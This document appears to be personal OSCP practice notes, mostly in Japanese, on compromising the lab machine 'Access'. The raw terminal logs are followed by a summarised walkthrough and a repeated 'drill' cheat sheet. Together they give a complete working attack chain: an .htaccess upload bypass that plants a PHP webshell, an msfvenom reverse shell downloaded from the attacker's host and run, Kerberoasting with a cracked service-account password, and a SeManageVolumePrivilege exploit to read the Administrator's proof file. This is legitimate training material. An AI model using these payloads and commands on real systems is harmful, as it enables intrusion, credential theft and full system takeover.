from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 20 | Wordlist size: 11460
Output File: /home/kali/oscp/pGpractice/Access/192.168.212.21/reports/http_192.168.212.21/_uploads__26-06-14_11-19-02.txt
Target: http://192.168.212.21/
[11:19:02] Starting: uploads/
Task Completed
┌──(kali@kali)-[~/oscp/pGpractice/Access/192.168.212.21]
└─$
┌──(kali@kali)-[~/oscp/pGpractice/Access/192.168.212.21]
└─$ curl http://192.168.212.21//cgi-bin/printenv.pl
COMSPEC="C:\Windows\system32\cmd.exe"
CONTEXT_DOCUMENT_ROOT="/xampp/cgi-bin/"
CONTEXT_PREFIX="/cgi-bin/"
DOCUMENT_ROOT="C:/xampp/htdocs"
GATEWAY_INTERFACE="CGI/1.1"
HTTP_ACCEPT="*/*"
HTTP_HOST="192.168.212.21"
HTTP_USER_AGENT="curl/8.13.0"
MIBDIRS="/xampp/php/extras/mibs"
MYSQL_HOME="\xampp\mysql\bin"
OPENSSL_CONF="/xampp/apache/bin/openssl.cnf"
PATH="C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\svc_apache\AppData\Local\Microsoft\WindowsApps"
PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC"
PHPRC="\xampp\php"
PHP_PEAR_SYSCONF_DIR="\xampp\php"
QUERY_STRING=""
REMOTE_ADDR="192.168.45.218"
REMOTE_PORT="53618"
REQUEST_METHOD="GET"
REQUEST_SCHEME="http"
REQUEST_URI="//cgi-bin/printenv.pl"
SCRIPT_FILENAME="C:/xampp/cgi-bin/printenv.pl"
SCRIPT_NAME="/cgi-bin/printenv.pl"
SERVER_ADDR="192.168.212.21"
SERVER_ADMIN="postmaster@localhost"
SERVER_NAME="192.168.212.21"
SERVER_PORT="80"
SERVER_PROTOCOL="HTTP/1.1"
SERVER_SIGNATURE="<address>Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7 Server at 192.168.212.21 Port 80</address>\n"
SERVER_SOFTWARE="Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7"
SYSTEMROOT="C:\Windows"
TMP="\xampp\tmp"
WINDIR="C:\Windows"
┌──(kali@kali)-[~/oscp/pGpractice/Access/192.168.212.21]
└─$
┌──(kali@kali)-[~/oscp/pGpractice/Access/192.168.212.21]
└─$ curl -k https://192.168.212.21//cgi-bin/printenv.pl
COMSPEC="C:\Windows\system32\cmd.exe"
CONTEXT_DOCUMENT_ROOT="/xampp/cgi-bin/"
CONTEXT_PREFIX="/cgi-bin/"
DOCUMENT_ROOT="C:/xampp/htdocs"
GATEWAY_INTERFACE="CGI/1.1"
HTTPS="on"
HTTP_ACCEPT="*/*"
HTTP_HOST="192.168.212.21"
HTTP_USER_AGENT="curl/8.13.0"
MIBDIRS="/xampp/php/extras/mibs"
MYSQL_HOME="\xampp\mysql\bin"
OPENSSL_CONF="/xampp/apache/bin/openssl.cnf"
PATH="C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\svc_apache\AppData\Local\Microsoft\WindowsApps"
PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC"
PHPRC="\xampp\php"
PHP_PEAR_SYSCONF_DIR="\xampp\php"
QUERY_STRING=""
REMOTE_ADDR="192.168.45.218"
REMOTE_PORT="48386"
REQUEST_METHOD="GET"
REQUEST_SCHEME="https"
REQUEST_URI="//cgi-bin/printenv.pl"
SCRIPT_FILENAME="C:/xampp/cgi-bin/printenv.pl"
SCRIPT_NAME="/cgi-bin/printenv.pl"
SERVER_ADDR="192.168.212.21"
SERVER_ADMIN="admin@example.com"
SERVER_NAME="192.168.212.21"
SERVER_PORT="443"
SERVER_PROTOCOL="HTTP/1.1"
SERVER_SIGNATURE="<address>Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7 Server at 192.168.212.21 Port 443</address>\n"
SERVER_SOFTWARE="Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7"
SYSTEMROOT="C:\Windows"
TMP="\xampp\tmp"
WINDIR="C:\Windows"
┌──(kali@kali)-[~/oscp/pGpractice/Access/192.168.212.21]
└─$
メールアドレス取れた
SERVER_ADMIN="postmaster@localhost"
SERVER_ADMIN="admin@example.com"
curl http://192.168.212.21/cgi-bin/printenv.pl
curl -k https://192.168.212.21/cgi-bin/printenv.pl
curl http://192.168.212.21/forms/contact.php
curl -X POST \
-d "name=test&email=test@test.com&subject=test&message=test" \
http://192.168.212.21/forms/contact.php
ffuf -u http://192.168.212.21/FUZZ.php \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-fs 0
© Copyright TheEvent. All Rights Reserved Designed by BootstrapMade
ソースから取得
<!-- =======================================================
* Template Name: TheEvent - v4.6.0
* Template URL: https://bootstrapmade.com/theevent-conference-event-bootstrap-template/
* Author: BootstrapMade.com
* License: https://bootstrapmade.com/license/
======================================================== -->
Brenden Legros Hubert Hirthe Cole Emmerich Jack Christiansen Alejandrin Littel Willow Trantow
test-names.txt
ここからユーザ名のリストを作ってくれるコマンドある ⇒ username-anarchy GitHub https://github.com/urbanadventurer/username-anarchy?utm_source=chatgpt.com
username-anarchy Brenden Legros username-anarchy --list-formats username-anarchy --input-file ./test-names.txt username-anarchy --input-file ./test-names.txt --select-format first.last username-anarchy --recognise j.smith
curl -I http://192.168.212.21/Ticket.php
curl http://192.168.212.21/Ticket.php
curl -F "your-name=test" \
-F "your-email=test@test.com" \
-F "ticket-type=standard-access" \
-F "the_file=@test.txt" \
http://192.168.212.21/Ticket.php
curl http://192.168.212.21/uploads/
curl http://192.168.212.21/uploads/
curl http://192.168.212.21/uploads/ | grep href
⇒ファイルがアップロードできてる？？？
ファイルがアップロードできる場合）
<?php phpinfo(); ?>
echo '<?php phpinfo(); ?>' > test.php
⇒alert("This file extension is not allowed !!");
許可リスト方式か？ test.txt test.pdf test.doc test.docx test.jpg test.png
phtml系 test.phtml test.pht test.phar test.php5 test.php7
大文字小文字 test.PHP test.PhP test.PHp
ダブル拡張子 test.php.txt test.php.jpg test.phtml.txt test.phtml.jpg
test.PHPの場合 ⇒alert("This file extension is not allowed !!"); です。
拡張子が以下の場合、 txt pdf doc docx jpg jpeg png gif zip ⇒alert("You will shortly recieve payment link mail"); です。
拡張子が以下の場合、 phtml phar php5 php7 PHP ⇒alert("This file extension is not allowed !!"); です。
⇒ファイルをアップロードしてもPHPとして実行できない。
.htaccess を介したファイルアップロードバイパスの脆弱性
.htaccess AddType application/x-httpd-php .php16 AddType application/x-httpd-php .jpg AddType application/x-httpd-php .txt
phpinfoは実行できた。
次にcmd.php16
<?php
system($_GET['cmd']); ?>
curl "http://192.168.212.21/uploads/cmd.php16?cmd=whoami"
curl "http://TARGET/uploads/cmd.php16?cmd=whoami"
curl "http://TARGET/uploads/cmd.php16?cmd=whoami%20/priv"
curl "http://TARGET/uploads/cmd.php16?cmd=systeminfo"
curl --get \
--data-urlencode "cmd=whoami /priv" \
http://192.168.212.21/uploads/cmd.php16
curl "http://192.168.212.21/uploads/cmd.php16?cmd=powershell%20-c%20whoami"
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.187 LPORT=4444 -f exe -o rev.exe
rlwrap nc -lvnp 4444
powershell -ep bypass
iwr -Uri http://192.168.49.142/rev.exe -OutFile rev.exe
.\rev.exe
curl "http://192.168.212.21/uploads/cmd.php16?cmd=rev.exe"
リバースshellとれた。
C:\xampp\htdocs\uploads>whoami
whoami
access\svc_apache
C:\xampp\htdocs\uploads>net user
net user
User accounts for \\SERVER
-------------------------------------------------------------------------------
Administrator Guest krbtgt
svc_apache svc_mssql
The command completed successfully.
C:\xampp\htdocs\uploads>net localgroup administrators
net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
The command completed successfully.
C:\xampp\htdocs\uploads>
svc_mssql ⇒サービスアカウントいる
ケルベロースト
C:\xampp\htdocs\uploads>.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.4
[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Searching the current domain for Kerberoastable users
[*] Total kerberoastable users : 1
[*] SamAccountName : svc_mssql
[*] DistinguishedName : CN=MSSQL,CN=Users,DC=access,DC=offsec
[*] ServicePrincipalName : MSSQLSvc/DC.access.offsec
[*] PwdLastSet : 5/21/2022 12:33:45 PM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash written to C:\xampp\htdocs\uploads\hashes.kerberoast
[*] Roasted hashes written to : C:\xampp\htdocs\uploads\hashes.kerberoast
C:\xampp\htdocs\uploads>
──(kali@kali)-[~/oscp/pGpractice/Access/192.168.212.21]
└─$ hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu--0x000, 1435/2935 MB (512 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$krb5tgs$23$*svc_mssql$access.offsec$MSSQLSvc/DC.access.offsec*$26f827b0ecd216e2971aac8f82b0a80e$97f032658e8af25a6697eb8dccacd89c613f4e3b5bdd689657cb57665e5e42dba6312adf58c743b77ead94f72a44823c70dc4307062ebd8f1bf1cb57128f4c3e93b72547c690c54e4005a8ab02f6354321ac1c27099f97ddb241593ba79bd0f047a98ceafee42e58b5ed3e0c23d265050a1e516e38913d47ae736ce0e4b54e6e5206ba377fbeb1849e75684a23becf00aa2fb0587ffc66be4954f1d6b6f21ad2120fe24965f4df94e7cb1f1dbb7d313e9fbf937a3dcc2a5b7a130739617c5c72a86f17fafa3ccd40178a4fb0d4f50d24dba7220d9920e0317f0cfcfe8d85d5b57599d8f60f5d4e428d764c97bc5ef4faa4afda61c9bd014cf8b90bb325bc347d7bafc4f8e0e22d64dc1a6e131442bb72d21717cc57520c4927cfba2d71513fed3c14921d52a410c3ecf93d90e9b503e2ffd9400526a030045cb28e25cfc137230995eedd7add9b594453479f48bafb209d1dc715e31f360b42741cb22f6364583ad220bd664282c181bec2fa50a06da230cc1872bbf7862904d4a36ba0e3bf8c9055fa62cbe1ea859fe4fcf593793169014e37590f4560de225bef2c3a1e754ffefda8430ae02cc917e53c0de8aaf432c426c047137add2ee1e6aaa1cd955514715084c5d4cbf9760c06b976530e8f9dafb535973fecd17dbbba65de7ae1815eba30dec2dd3a84c094392b4e6b4c6ca089d02710a603b5c8b31e140c1cd6808a359e229ccc2efd486d54d289783eaaf46dd27483a9bcb7b37efddf529f5b710202ea130b351de0a8c18cb4905fdef0331eebe6ed2b09168ce9610b5be28de56e59184104b6169d76d2ade1267568621dc9a1fc6415dfd56e21baa0769aefdd571c001dc22533c694917ba0a4d707ba63bf13c6e8a8deb8311c9806fbb04287ddb5bd24e77b30fcecb52d69bfeee79543e2a00f30e38b435f68df854c2d052838ad80c1d79e1ef5b22ddac0d963a0f96557a896f3ae9f7d6f39a25ec72ab3b2fa1f144955852dfbd1861b2c4a2d3229dcac252c97e96670a39491983bcad92baf0829e568f0668762ae6bf0122f219e017ceb62198ffa1c4932665357365cc6b354ea6519f71d32b8e735741b98fbf1f2164b2db22ba65468f7c6bc363f94cfe41810bcb675c4582d7c8f6cd4af8a9efc7d3efdef36a9dd445cfe7156f87131ff871923057b4dc4481e622dbb2fd129f93fc284cd269b56881e29c884f5a27870581148c5455a6b31dda7c5ae25cd5e36308e04f985455f59fc9722f9444a9a884ac3b5c5c4b891781fc1ed5d38de33137274ad90c49f5a39948d45cc84f95a0d39dbfacacaaa3b9f27724f9299c100ef507bc65b03dee4b6693457034a84a23bd59ae395b495adad1f0787edd89b78256cf6144fb77187cb306f58856f5f58f6759fb42d7ee4822eb1519ad3f3b73a79d09bdbcda5892127d76fad21ba592c16ae4153e8c5ae42bc6c04bd81c1705eea90dd6de150bb2f959969479571b2d6f68d4aec9eb978fafb1057090e2df31d791a51dd6ca74af66b901201925c3932a2afa6c69f58a8269bb2d42cf60768e549de8a3644eb2828b51a7e2827edc3eb2e6b2c91c6dca274d25f1992ec6a963cd35bc9:trustno1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*svc_mssql$access.offsec$MSSQLSvc/DC.ac...d35bc9
Time.Started.....: Thu Jun 25 23:23:25 2026 (0 secs)
Time.Estimated...: Thu Jun 25 23:23:25 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 671.4 kH/s (0.25ms) @ Accel:256 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1024/14344385 (0.01%)
Rejected.........: 0/1024 (0.00%)
Restore.Point....: 512/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: hockey -> bethany
Hardware.Mon.#1..: Util: 62%
Started: Thu Jun 25 23:23:24 2026
Stopped: Thu Jun 25 23:23:27 2026
┌──(kali@kali)-[~/oscp/pGpractice/Access/192.168.212.21]
└─$
svc_mssql trustno1
nxc smb 192.168.212.21 -d $DOMAIN -u $USER -p "$PASS" --continue-on-success
nxc winrm 192.168.212.21 -d $DOMAIN -u $USER -p "$PASS" --continue-on-success
nxc rdp 192.168.212.21 -d $DOMAIN -u $USER -p "$PASS" --continue-on-success
nxc mssql 192.168.212.21 -d $DOMAIN -u $USER -p "$PASS" --continue-on-success
nxc ldap $DC -d $DOMAIN -u $USER -p "$PASS" --users
smbで入れるか試す？？？
RunasCs.exe svc_mssql trustno1 "cmd /c whoami /all"
RunasCs.exe user1 password1 "cmd /c whoami /all"
runas /user:access\svc_mssql cmd
C:\xampp\htdocs\uploads>RunasCs.exe user1 password1 "cmd /c whoami /all"
RunasCs.exe user1 password1 "cmd /c whoami /all"
[-] RunasCsException: The username user1 has not been found. LookupAccountName failed with error code: No mapping between account names and security IDs was done
C:\xampp\htdocs\uploads>RunasCs.exe svc_mssql trustno1 "cmd /c whoami /all"
RunasCs.exe svc_mssql trustno1 "cmd /c whoami /all"
[*] Warning: The logon for user 'svc_mssql' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
USER INFORMATION
----------------
User Name SID
================ ============================================
access\svc_mssql S-1-5-21-537427935-490066102-1511301751-1104
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Group used for deny only
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ================================ ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
C:\xampp\htdocs\uploads>
C:\xampp\htdocs\uploads>runas /user:access\svc_mssql cmd
runas /user:access\svc_mssql cmd
Enter the password for access\svc_mssql:
C:\xampp\htdocs\uploads>
SeManageVolumePrivilege を見つけて https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public?source=post_page-----12ad7f6bad6f--------------------------------------- を試す
C:\xampp\htdocs\uploads>RunasCs.exe svc_mssql trustno1 "cmd /c SeManageVolumeExploit.exe"
RunasCs.exe svc_mssql trustno1 "cmd /c SeManageVolumeExploit.exe"
[*] Warning: The logon for user 'svc_mssql' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
'SeManageVolumeExploit.exe' is not recognized as an internal or external command,
operable program or batch file.
C:\xampp\htdocs\uploads>RunasCs.exe svc_mssql trustno1 "cmd /c C:\xampp\htdocs\uploads\SeManageVolumeExploit.exe"
RunasCs.exe svc_mssql trustno1 "cmd /c C:\xampp\htdocs\uploads\SeManageVolumeExploit.exe"
[*] Warning: The logon for user 'svc_mssql' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
Entries changed: 925
DONE
C:\xampp\htdocs\uploads>
フラグを探す
dir C:\ /s /b | findstr /i flag dir C:\ /s /b | findstr /i proof dir C:\ /s /b | findstr /i proof.txt
C:\xampp\htdocs\uploads>RunasCs.exe svc_mssql trustno1 "cmd /c type C:\Users\Administrator\Desktop\proof.txt"
RunasCs.exe svc_mssql trustno1 "cmd /c type C:\Users\Administrator\Desktop\proof.txt"
[*] Warning: The logon for user 'svc_mssql' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
<REDACTED_FLAG>
C:\xampp\htdocs\uploads>
walkthrough(AI)¶
このAI版 walkthrough は、生メモの手順を攻撃チェーンとして整理したもの。Access はアップロード制限を .htaccess で回避して PHP 実行に持ち込み、Kerberoast と SeManageVolumePrivilege で Administrator の proof を読む。
1. アップロードフォームを確認¶
Web にファイルアップロード機能がある。通常の .php は制限されるため、Apache の .htaccess で独自拡張子を PHP として扱わせる。
.htaccess:
AddType application/x-httpd-php .php16
cmd.php16:
<?php system($_GET['cmd']); ?>
2. .htaccess と webshell をアップロード¶
アップロードフォームから .htaccess と cmd.php16 を送る。
curl -F "your-name=test" \
-F "your-email=test@test.com" \
-F "ticket-type=standard-access" \
-F "the_file=@.htaccess" \
http://192.168.212.21/Ticket.php
curl -F "your-name=test" \
-F "your-email=test@test.com" \
-F "ticket-type=standard-access" \
-F "the_file=@cmd.php16" \
http://192.168.212.21/Ticket.php
コマンド実行を確認する。
curl --get --data-urlencode "cmd=whoami" \
http://192.168.212.21/uploads/cmd.php16
3. reverse shell を取得¶
リバースシェル用 EXE を作り、webshell 経由でダウンロード・実行する。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.187 LPORT=4444 -f exe -o rev.exe
python3 -m http.server 80
rlwrap nc -lvnp 4444
curl --get --data-urlencode "cmd=powershell -c iwr -Uri http://192.168.45.187/rev.exe -OutFile C:\xampp\htdocs\uploads\rev.exe" \
http://192.168.212.21/uploads/cmd.php16
curl --get --data-urlencode "cmd=C:\xampp\htdocs\uploads\rev.exe" \
http://192.168.212.21/uploads/cmd.php16
svc_apache としてシェルが取れる。
4. Kerberoast で svc_mssql の hash を取得¶
内部シェルから Rubeus で Kerberoast を実行する。
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
hash を回収して crack する。
curl -o hashes.kerberoast http://192.168.212.21/uploads/hashes.kerberoast
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt
得られる資格情報。
svc_mssql / trustno1
5. svc_mssql で SeManageVolumePrivilege を悪用¶
RunasCs で svc_mssql としてコマンドを実行し、権限を確認する。
RunasCs.exe svc_mssql trustno1 "cmd /c whoami /all"
SeManageVolumePrivilege があるため、既存の exploit を実行して Administrator の proof を読む。
RunasCs.exe svc_mssql trustno1 "cmd /c C:\xampp\htdocs\uploads\SeManageVolumeExploit.exe"
RunasCs.exe svc_mssql trustno1 "cmd /c type C:\Users\Administrator\Desktop\proof.txt"
6. 攻撃の流れまとめ¶
Web upload form
→ .htaccess AddType で PHP拡張子 bypass
→ php16 webshell
→ reverse shell as svc_apache
→ Kerberoast svc_mssql
→ hash crack: trustno1
→ RunasCs as svc_mssql
→ SeManageVolumePrivilege abuse
→ Administrator proof.txt
drill¶
アップロードバイパス用ファイル¶
.htaccess:
AddType application/x-httpd-php .php16
cmd.php16:
<?php system($_GET['cmd']); ?>
Webshell配置と動作確認¶
curl -F "your-name=test" \
-F "your-email=test@test.com" \
-F "ticket-type=standard-access" \
-F "the_file=@.htaccess" \
http://192.168.212.21/Ticket.php
curl -F "your-name=test" \
-F "your-email=test@test.com" \
-F "ticket-type=standard-access" \
-F "the_file=@cmd.php16" \
http://192.168.212.21/Ticket.php
curl --get --data-urlencode "cmd=whoami" \
http://192.168.212.21/uploads/cmd.php16
リバースシェル¶
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.187 LPORT=4444 -f exe -o rev.exe
python3 -m http.server 80
rlwrap nc -lvnp 4444
curl --get --data-urlencode "cmd=powershell -c iwr -Uri http://192.168.45.187/rev.exe -OutFile C:\xampp\htdocs\uploads\rev.exe" \
http://192.168.212.21/uploads/cmd.php16
curl --get --data-urlencode "cmd=C:\xampp\htdocs\uploads\rev.exe" \
http://192.168.212.21/uploads/cmd.php16
Kerberoast¶
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
curl -o hashes.kerberoast http://192.168.212.21/uploads/hashes.kerberoast
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt
svc_mssqlでSeManageVolumePrivilegeを悪用¶
RunasCs.exe svc_mssql trustno1 "cmd /c whoami /all"
RunasCs.exe svc_mssql trustno1 "cmd /c C:\xampp\htdocs\uploads\SeManageVolumeExploit.exe"
RunasCs.exe svc_mssql trustno1 "cmd /c type C:\Users\Administrator\Desktop\proof.txt"